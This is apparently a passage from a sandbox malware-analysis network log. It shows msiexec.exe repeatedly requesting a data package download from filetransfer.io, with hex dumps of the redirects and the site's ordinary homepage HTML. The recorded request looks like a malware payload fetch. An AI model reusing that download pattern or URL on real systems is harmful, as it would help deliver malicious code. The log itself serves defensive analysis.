2025-01-10 19:14:10 UTC	1369	IN	Data Raw: 73 0a 09 09 09 09 09 09 3c 2f 6c 61 62 65 6c 3e 0a 09 09 09 09 09 3c 2f 70 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 21 2d 2d 20 2e 69 6e 74 72 6f 20 2d 2d 3e 0a 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 65 72 72 6f 72 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 74 6f 6f 2d 62 69 67 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 74 69 6d 65 73 22 3e 3c 2f 73 70 61 6e 3e 54 68 65 20 6d 61 78 69 6d 75 6d 20 73 69 7a 65 20 6f 66 20 61 20 64 61 74 61 20 70 61 63 6b 61 67 65 20 69 73 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 Data Ascii: s</label></p></div>... .intro --></div><div class="alert alert-error alert-noremove alert-hidden" data-alert-occasion="too-big"><span class="icon-times"></span>The maximum size of a data package is <span class="ma
2025-01-10 19:14:10 UTC	1369	IN	Data Raw: 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 77 61 72 6e 69 6e 67 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 64 69 72 65 63 74 6f 72 69 65 73 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 65 78 63 6c 61 6d 61 74 69 6f 6e 2d 74 72 69 61 6e 67 6c 65 22 3e 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 69 6e 67 6c 65 22 3e 54 68 65 20 66 6f 6c 64 65 72 20 09 09 3c 73 70 61 6e 20 64 61 74 61 2d 63 6f 6e 74 65 6e 74 3d 22 64 69 72 6e 61 6d 65 73 22 3e 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 20 63 61 6e 6e 6f 74 20 62 65 20 61 64 64 65 64 20 61 6c 6c 20 61 74 20 6f 6e 63 65 2c 20 70 Data Ascii: lass="alert alert-warning alert-noremove alert-hidden" data-alert-occasion="directories"><span class="icon-exclamation-triangle"></span><span class="single">The folder <span data-content="dirnames"></span> cannot be added all at once, p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	57920	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:14:11 UTC	190	OUT	GET /data-package/sJfx1gsn/download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache
2025-01-10 19:14:11 UTC	629	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 10 Jan 2025 19:14:11 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Fri, 10 Jan 2025 20:14:11 GMT Location: https://filetransfer.io Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PssJH%2FdmlaMe%2BWXhki%2BGpxjSRSyTzCEdMivA5ZDm2prZ%2FXToWJoYD2jdaxgvbXrzRAp0p%2BZMWcy5QRcYNXpsvtRajXPkq92Q%2BfbwqTWX%2Bou7HO7j0D%2BDg0p%2F1G2A%2BnokaZo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefd17790e0f6d-EWR
2025-01-10 19:14:11 UTC	167	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	57921	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:14:12 UTC	184	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache Connection: Keep-Alive
2025-01-10 19:14:12 UTC	942	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:14:12 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close x-amz-id-2: 9dzul27r/p0PJaf/Kz3iUyZKSDd526nuzP2x7Aa7XxiuO8O30lGU1l/svWWQhBpxKZvaZY5MldA= x-amz-request-id: 649PCNP4MBDGWXTF Last-Modified: Fri, 27 Dec 2024 12:13:01 GMT cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JtboM2iupnFtEdsbdqqWNcg7mlS6P5xVX%2BvNLQjbzhmVkxZAH8UNPJQf0UMquNPVKilTqCpPfTX1GbTXnLj%2B56D1f23x1iSIRfyHEesLIPSx6Wtjkz6bKUv8EwlFvfYmb0I%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefd1ba90219b2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1828&min_rtt=1801&rtt_var=694&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2836&recv_bytes=798&delivery_rate=1621321&cwnd=149&unsent_bytes=0&cid=5de17810791bdd4d&ts=265&x=0"
2025-01-10 19:14:12 UTC	1369	IN	Data Raw: 32 31 61 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 38 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 37 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 38 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 31 30 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 39 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 31 30 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e Data Ascii: 21a8<!DOCTYPE html>...[if lt IE 8 ]><html lang="cs" class="ie7 no-js"> <![endif]-->...[if lt IE 9 ]><html lang="cs" class="ie8 no-js"> <![endif]-->...[if lt IE 10 ]><html lang="cs" class="ie9 no-js"> <![endif]-->...[if (gt IE 10)\|!(IE)]>...>
2025-01-10 19:14:12 UTC	1369	IN	Data Raw: 6e 22 20 73 69 7a 65 73 3d 22 31 36 30 78 31 36 30 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 31 36 30 2e 70 6e 67 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 31 39 32 78 31 39 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 31 39 32 2e 70 6e 67 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 2d 70 72 65 63 6f 6d 70 6f 73 65 64 22 20 73 69 7a 65 73 3d 22 39 36 78 39 36 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 73 6f 6c 69 64 2f 39 36 2e 70 6e 67 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 2d 70 72 65 63 6f 6d 70 6f 73 65 Data Ascii: n" sizes="160x160" href="/img/favicon/160.png"><link rel="apple-touch-icon" sizes="192x192" href="/img/favicon/192.png"><link rel="apple-touch-icon-precomposed" sizes="96x96" href="/img/favicon/solid/96.png"><link rel="apple-touch-icon-precompose
2025-01-10 19:14:12 UTC	1369	IN	Data Raw: 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 54 69 6c 65 43 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 30 30 30 30 30 30 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 54 69 6c 65 49 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 31 34 34 2e 70 6e 67 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 73 71 75 61 72 65 37 30 78 37 30 6c 6f 67 6f 22 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 6d 73 2f 74 69 Data Ascii: <meta name="application-name" content="FileTransfer.io"><meta name="msapplication-TileColor" content="#000000"><meta name="msapplication-TileImage" content="/img/favicon/144.png"><meta name="msapplication-square70x70logo" content="/img/favicon/ms/ti
2025-01-10 19:14:12 UTC	1369	IN	Data Raw: 75 74 73 20 3d 20 7b 7d 3b 0a 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 70 6c 61 63 65 68 6f 6c 64 65 72 73 2e 74 61 67 69 6e 70 75 74 20 3d 20 22 53 65 70 61 72 61 74 65 20 77 69 74 68 20 61 20 63 6f 6d 6d 61 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 70 6c 61 63 65 68 6f 6c 64 65 72 73 2e 70 6f 70 75 70 4c 6f 61 64 69 6e 67 20 3d 20 22 50 6c 65 61 73 65 20 77 61 69 74 e2 80 a6 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 70 6c 61 63 65 68 6f 6c 64 65 72 73 2e 70 6f 70 75 70 43 6c 6f 73 65 20 3d 20 22 43 6c 6f 73 65 20 28 45 53 43 29 22 3b 0a 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 65 6d 61 69 6c 52 65 71 75 69 72 65 64 20 3d 20 22 50 6c 65 61 73 65 20 65 6e 74 65 72 20 61 6e 20 65 2d 6d 61 69 6c 20 61 64 64 72 65 73 73 20 Data Ascii: uts = {}; MESSAGES.placeholders.taginput = "Separate with a comma"; MESSAGES.placeholders.popupLoading = "Please wait"; MESSAGES.placeholders.popupClose = "Close (ESC)"; MESSAGES.alerts.emailRequired = "Please enter an e-mail address
2025-01-10 19:14:12 UTC	1369	IN	Data Raw: 53 41 47 45 53 2e 6c 61 62 65 6c 73 2e 63 6f 70 79 4d 61 6e 75 61 6c 6c 79 2e 63 6d 64 20 3d 20 22 50 72 65 73 73 20 e2 8c 98 2d 43 22 3b 0a 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 74 6c 65 73 2e 66 69 6c 65 6c 69 73 74 20 3d 20 22 43 68 6f 6f 73 65 20 66 69 6c 65 73 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 74 6c 65 73 2e 75 70 6c 6f 61 64 69 6e 67 20 3d 20 22 25 20 75 70 6c 6f 61 64 65 64 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 74 6c 65 73 2e 75 70 6c 6f 61 64 43 6f 6d 70 6c 65 74 65 20 3d 20 22 44 61 74 61 20 70 61 63 6b 61 67 65 20 75 70 6c 6f 61 64 65 64 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 74 6c 65 73 2e 75 70 6c 6f 61 64 50 72 6f 62 6c 65 6d 20 3d 20 22 50 72 6f 62 6c 65 6d 20 77 69 74 68 20 75 70 Data Ascii: SAGES.labels.copyManually.cmd = "Press -C"; MESSAGES.titles.filelist = "Choose files"; MESSAGES.titles.uploading = "% uploaded"; MESSAGES.titles.uploadComplete = "Data package uploaded"; MESSAGES.titles.uploadProblem = "Problem with up
2025-01-10 19:14:12 UTC	1369	IN	Data Raw: 6f 6f 67 6c 65 20 74 61 67 20 28 67 74 61 67 2e 6a 73 29 20 2d 2d 3e 0a 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 74 61 67 6d 61 6e 61 67 65 72 2e 63 6f 6d 2f 67 74 61 67 2f 6a 73 3f 69 64 3d 47 2d 47 4b 4a 5a 54 35 30 46 35 58 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 3d 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 7c 7c 20 5b 5d 3b 0a 20 20 66 75 6e 63 74 69 6f 6e 20 67 74 61 67 28 29 7b 64 61 74 61 4c 61 79 65 72 2e 70 75 73 68 28 61 72 67 75 6d 65 6e 74 73 29 3b 7d 0a 20 20 67 74 61 67 28 27 6a 73 27 2c 20 6e 65 77 20 44 61 74 65 28 29 29 3b 0a 0a 20 20 67 74 61 67 28 27 63 6f 6e 66 69 67 27 2c 20 Data Ascii: oogle tag (gtag.js) --><script async src="https://www.googletagmanager.com/gtag/js?id=G-GKJZT50F5X"></script><script> window.dataLayer = window.dataLayer \|\| []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config',
2025-01-10 19:14:12 UTC	410	IN	Data Raw: 61 76 69 67 61 74 69 6f 6e 2d 69 74 65 6d 22 3e 0a 09 09 09 09 3c 61 20 74 69 74 6c 65 3d 22 52 65 71 75 65 73 74 20 66 69 6c 65 73 22 0a 09 09 09 09 20 20 20 63 6c 61 73 73 3d 22 75 6e 64 65 72 6c 69 6e 65 22 20 68 72 65 66 3d 22 2f 70 72 69 63 65 6c 69 73 74 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 75 6e 64 65 72 6c 69 6e 65 2d 69 74 65 6d 22 3e 52 65 71 75 65 73 74 20 66 69 6c 65 73 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 62 61 64 67 65 20 73 6d 61 6c 6c 20 66 69 6c 6c 65 64 22 3e 62 65 74 61 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 3c 2f 6c 69 3e 0a 0a 09 09 09 09 3c 6c 69 20 63 6c 61 73 73 3d 22 6e 61 76 69 67 61 74 69 6f 6e 2d 69 74 65 6d 22 3e 0a 09 09 09 09 3c 61 20 Data Ascii: avigation-item"><a title="Request files" class="underline" href="/pricelist"><span class="underline-item">Request files</span><span class="badge small filled">beta</span></a></li><li class="navigation-item"><a
2025-01-10 19:14:12 UTC	1369	IN	Data Raw: 62 30 35 0d 0a 0a 0a 09 09 3c 68 72 3e 0a 0a 09 09 09 09 09 09 3c 73 65 63 74 69 6f 6e 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 20 6e 65 77 2d 63 6f 6e 74 65 6e 74 22 3e 0a 0a 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 2d 66 6c 61 73 68 65 73 22 3e 3c 2f 64 69 76 3e 09 09 09 09 09 3c 21 2d 2d 20 2e 61 6c 65 72 74 20 2d 2d 3e 0a 0a 0a 09 09 09 09 09 3c 64 69 76 20 64 61 74 61 2d 6e 61 6d 65 3d 22 75 70 6c 6f 61 64 2d 70 61 72 61 6d 65 74 65 72 73 22 20 64 61 74 61 2d 73 70 65 63 69 61 6c 3d 22 25 37 42 25 32 32 75 70 6c 6f 61 64 53 74 61 72 74 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 73 74 61 72 74 2d 75 70 6c 6f 61 64 25 32 32 25 32 43 25 32 32 72 65 6d 6f 76 65 46 69 6c 65 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 72 65 6d 6f Data Ascii: b05<hr><section class="content new-content"><div id="snippet--flashes"></div>... .alert --><div data-name="upload-parameters" data-special="%7B%22uploadStartUrl%22%3A%22%2Fstart-upload%22%2C%22removeFileUrl%22%3A%22%2Fremo
2025-01-10 19:14:12 UTC	1369	IN	Data Raw: 0a 09 09 09 09 09 09 3c 2f 6c 61 62 65 6c 3e 0a 09 09 09 09 09 3c 2f 70 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 21 2d 2d 20 2e 69 6e 74 72 6f 20 2d 2d 3e 0a 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 65 72 72 6f 72 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 74 6f 6f 2d 62 69 67 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 74 69 6d 65 73 22 3e 3c 2f 73 70 61 6e 3e 54 68 65 20 6d 61 78 69 6d 75 6d 20 73 69 7a 65 20 6f 66 20 61 20 64 61 74 61 20 70 61 63 6b 61 67 65 20 69 73 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 78 Data Ascii: </label></p></div>... .intro --></div><div class="alert alert-error alert-noremove alert-hidden" data-alert-occasion="too-big"><span class="icon-times"></span>The maximum size of a data package is <span class="max
2025-01-10 19:14:12 UTC	90	IN	Data Raw: 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 77 61 72 6e 69 6e 67 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 64 69 72 65 63 74 6f 72 69 65 73 22 3e 0d 0a Data Ascii: ass="alert alert-warning alert-noremove alert-hidden" data-alert-occasion="directories">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	57922	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:14:13 UTC	190	OUT	GET /data-package/sJfx1gsn/download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache
2025-01-10 19:14:13 UTC	619	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 10 Jan 2025 19:14:13 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Fri, 10 Jan 2025 20:14:13 GMT Location: https://filetransfer.io Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9sDu7BPeJdwId2hYj%2FKNZ%2BN1oqtJCNqXcicQaApFnPgSPG6NBYNj9JC5XlmAkTrA43YEJQ8fu5%2FifjVk76ZTXvRdZQJ428QNMV3MMvTSLW9eszOe5Z9mhIvl0%2F2ZX0%2FZ3F8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefd216c8fde97-EWR
2025-01-10 19:14:13 UTC	167	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	57923	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:14:13 UTC	184	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache Connection: Keep-Alive
2025-01-10 19:14:14 UTC	945	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:14:14 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close x-amz-id-2: dMASBSsCuPT/fiWoMZIZzqxV+X40/TGkORKlnDSKzWmytCHNIbGSPshAEs1/8M8HQ3vjSNdGIQ0= x-amz-request-id: 8NT7RYR7WA2PWWPH Last-Modified: Fri, 27 Dec 2024 12:13:01 GMT cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Lw0CwjFb6PkwJR0NpvyxEFYZVMMpW2Sqz%2BKFCK4zRUmLyTRhb6pzpnFVQhoqMChRq11AddYnf0rwYUksn%2FSw9AIrJj%2FfoaaTc2vGfCrE6PjZkqeeXC7zgeq8H47oYbKd3JI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefd255cf0c32a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2708&min_rtt=1560&rtt_var=1405&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2837&recv_bytes=798&delivery_rate=1871794&cwnd=242&unsent_bytes=0&cid=86d346e89595513e&ts=212&x=0"
2025-01-10 19:14:14 UTC	424	IN	Data Raw: 32 31 61 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 38 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 37 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 38 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 31 30 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 39 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 31 30 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e Data Ascii: 21a8<!DOCTYPE html>...[if lt IE 8 ]><html lang="cs" class="ie7 no-js"> <![endif]-->...[if lt IE 9 ]><html lang="cs" class="ie8 no-js"> <![endif]-->...[if lt IE 10 ]><html lang="cs" class="ie9 no-js"> <![endif]-->...[if (gt IE 10)\|!(IE)]>...>
2025-01-10 19:14:14 UTC	1369	IN	Data Raw: 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 3c 21 2d 2d 5b 69 66 20 49 45 5d 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 09 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 2d 76 65 72 73 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4e 53 34 78 4e 69 34 79 4d 67 3d 3d 22 3e 0a 0a 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6f 67 3a 64 65 73 63 72 69 70 Data Ascii: ta charset="utf-8">...[if IE]><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"><![endif]--><meta name="author" content=""><meta name="keywords" content=""><meta name="app-version" content="NS4xNi4yMg=="><meta name="og:descrip
2025-01-10 19:14:14 UTC	1369	IN	Data Raw: 75 63 68 2d 69 63 6f 6e 2d 70 72 65 63 6f 6d 70 6f 73 65 64 22 20 73 69 7a 65 73 3d 22 31 39 32 78 31 39 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 73 6f 6c 69 64 2f 31 39 32 2e 70 6e 67 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 33 32 78 33 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 33 32 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 34 38 78 34 38 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 34 38 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 39 36 78 39 36 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 39 36 2e 70 6e 67 22 3e 0a 09 Data Ascii: uch-icon-precomposed" sizes="192x192" href="/img/favicon/solid/192.png"><link rel="icon" sizes="32x32" href="/img/favicon/32.png"><link rel="icon" sizes="48x48" href="/img/favicon/48.png"><link rel="icon" sizes="96x96" href="/img/favicon/96.png">
